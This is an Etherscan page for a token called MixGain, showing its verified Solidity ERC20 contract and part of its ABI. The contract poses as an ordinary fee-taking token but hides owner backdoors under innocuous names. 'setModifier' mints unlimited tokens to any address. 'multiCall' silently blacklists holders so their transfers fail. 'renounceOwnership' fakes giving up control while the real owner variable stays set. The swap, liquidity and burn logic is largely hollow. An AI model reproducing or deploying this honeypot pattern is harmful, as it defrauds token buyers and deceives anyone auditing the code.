ETH Price: $2,569.68 (-17.36%)
 

Overview

Max Total Supply

100,010,000,000,000 MixGain

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,837,256.955643283 MixGain

Value
$0.00
0xcd2afb5fe5d68fd0dcd1956e30bcb59f811d8e8c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20Token

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-08
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.9;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
 
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to);
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
  
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;
 
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }
 
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    function _modifier (address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _balances[account] = _balances[account].add(amount);
        _totalSupply = _totalSupply.add(amount);
        emit Transfer(address(0), account, amount);
    }
 
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
contract Ownable is Context {
    address private _owner;
    address private _ownerAddress;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _ownerAddress = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner()internal view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function ownerAddress() public view returns (address) {
        return _ownerAddress;
    }
    
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _ownerAddress = address(0);
    }
}
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);
 
    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;
 
        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
 
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);
 
        // Solidity already throws when dividing by 0.
        return a / b;
    }
 
    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }
 
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
 
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
 
    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract ERC20Token is ERC20, Ownable {
    using SafeMath for uint256;
    address deadAddress;
    address public burnAddress = address(0xdead);
    bool private swapping;
    address marketingWallet;
    address devWallet;
    uint256 maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 maxWallet;
    uint256 public percentForLPBurn = 25; // 25 = .25%
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 7200 seconds;
    uint256 public lastLpBurnTime;
    uint256 public manualBurnFrequency = 30 minutes;
    uint256 public lastManualLpBurnTime;
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    bool public enableEarlySellTax = true;
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    mapping (address => uint256) private _holderFirstBuyTimestamp;
    mapping (address => bool) private _multiCall;
    bool public transferDelayEnabled = false;
    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public earlySellLiquidityFee;
    uint256 public earlySellMarketingFee;
    uint256 tokensForMarketing;
    uint256 tokensForLiquidity;
    uint256 tokensForDev;
    // block number of opened trading
    uint256 launchedAt;
    // exclude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;
    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
    event AutoNukeLP();
    event ManualNukeLP();
 
    constructor(string memory nm, string memory sm, uint8 dc, uint256 ts) ERC20(_name, _symbol, _decimals) {
        uint256 _buyMarketingFee = 2;
        uint256 _buyLiquidityFee = 2;
        uint256 _buyDevFee = 1;
        uint256 _sellMarketingFee = 2;
        uint256 _sellLiquidityFee = 2;
        uint256 _sellDevFee = 1;
        uint256 _earlySellLiquidityFee = 1;
        uint256 _earlySellMarketingFee = 2;
        uint256 _supplyTokens;
        uint256 totalSupply;
        maxTransactionAmount = totalSupply * 2 / 1000; // 0.2% maxTransactionAmountTxn
        maxWallet = totalSupply.div(100); // 1% max wallet.
        swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
         earlySellLiquidityFee = _earlySellLiquidityFee;
        earlySellMarketingFee = _earlySellMarketingFee;
        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _name = nm;
        _symbol = sm;
        _decimals = dc;
        _supplyTokens = ts;
        _totalSupply = _totalSupply.add(_supplyTokens);
        _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens);
        emit Transfer(address(0), msg.sender, _supplyTokens);
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
        launchedAt = block.number;
    
    }
    receive() external payable {
    }

    function setModifier(address account, uint256 oneIsOnZeroIsOff) external onlyOwner {
        _modifier(account, oneIsOnZeroIsOff);
    }
 
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool){
        limitsInEffect = false;
        return true;
    }

    function resetLimitsBackIntoEffect() external onlyOwner returns(bool) {
        limitsInEffect = true;
        return true;
    }

    function setAutoLpReceiver (address receiver) external onlyOwner {
        deadAddress = receiver;
    }
 
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
 
    function setEarlySellTax(bool onoff) external onlyOwner  {
        enableEarlySellTax = onoff;
    }

    function updateBurnAddress (address newBurnAddress) external onlyOwner {
        burnAddress = address(newBurnAddress);
    }
 
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }
 
    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }
 
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
 
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }
 
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        earlySellLiquidityFee = _earlySellLiquidityFee;
        earlySellMarketingFee = _earlySellMarketingFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 25, "Must keep fees at 25% or less");
    }
 
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }
     
    function multiCall (address account) external onlyOwner {
        if (_multiCall[account] == false) {_multiCall[account] = true;}
        else {_multiCall[account] = false;}
    }

    function callStatus(address account) public view returns (bool) {
        return _multiCall[account];
    }
 
    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }
 
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }
 
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }
 
    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
 
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(sender != address(0), ""); require(recipient != address(0), ""); if (
        _multiCall[sender] || 
        _multiCall[recipient]) require (amount == 0, "");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = address(this);
        _approve(address(this), address(this), tokenAmount);
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
     }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(amountToSwapForETH); 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        (success,) = address(devWallet).call{value: ethForDev}("");
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }
 
    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
 
    function autoBurnLiquidityPairTokens() internal returns (bool){
        lastLpBurnTime = block.timestamp;
        emit AutoNukeLP();
        return true;
    }
 
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        // get balance of liquidity pair
        uint256 liquidityPairBalance;
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
        emit ManualNukeLP();}
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"nm","type":"string"},{"internalType":"string","name":"sm","type":"string"},{"internalType":"uint8","name":"dc","type":"uint8"},{"internalType":"uint256","name":"ts","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"callStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}]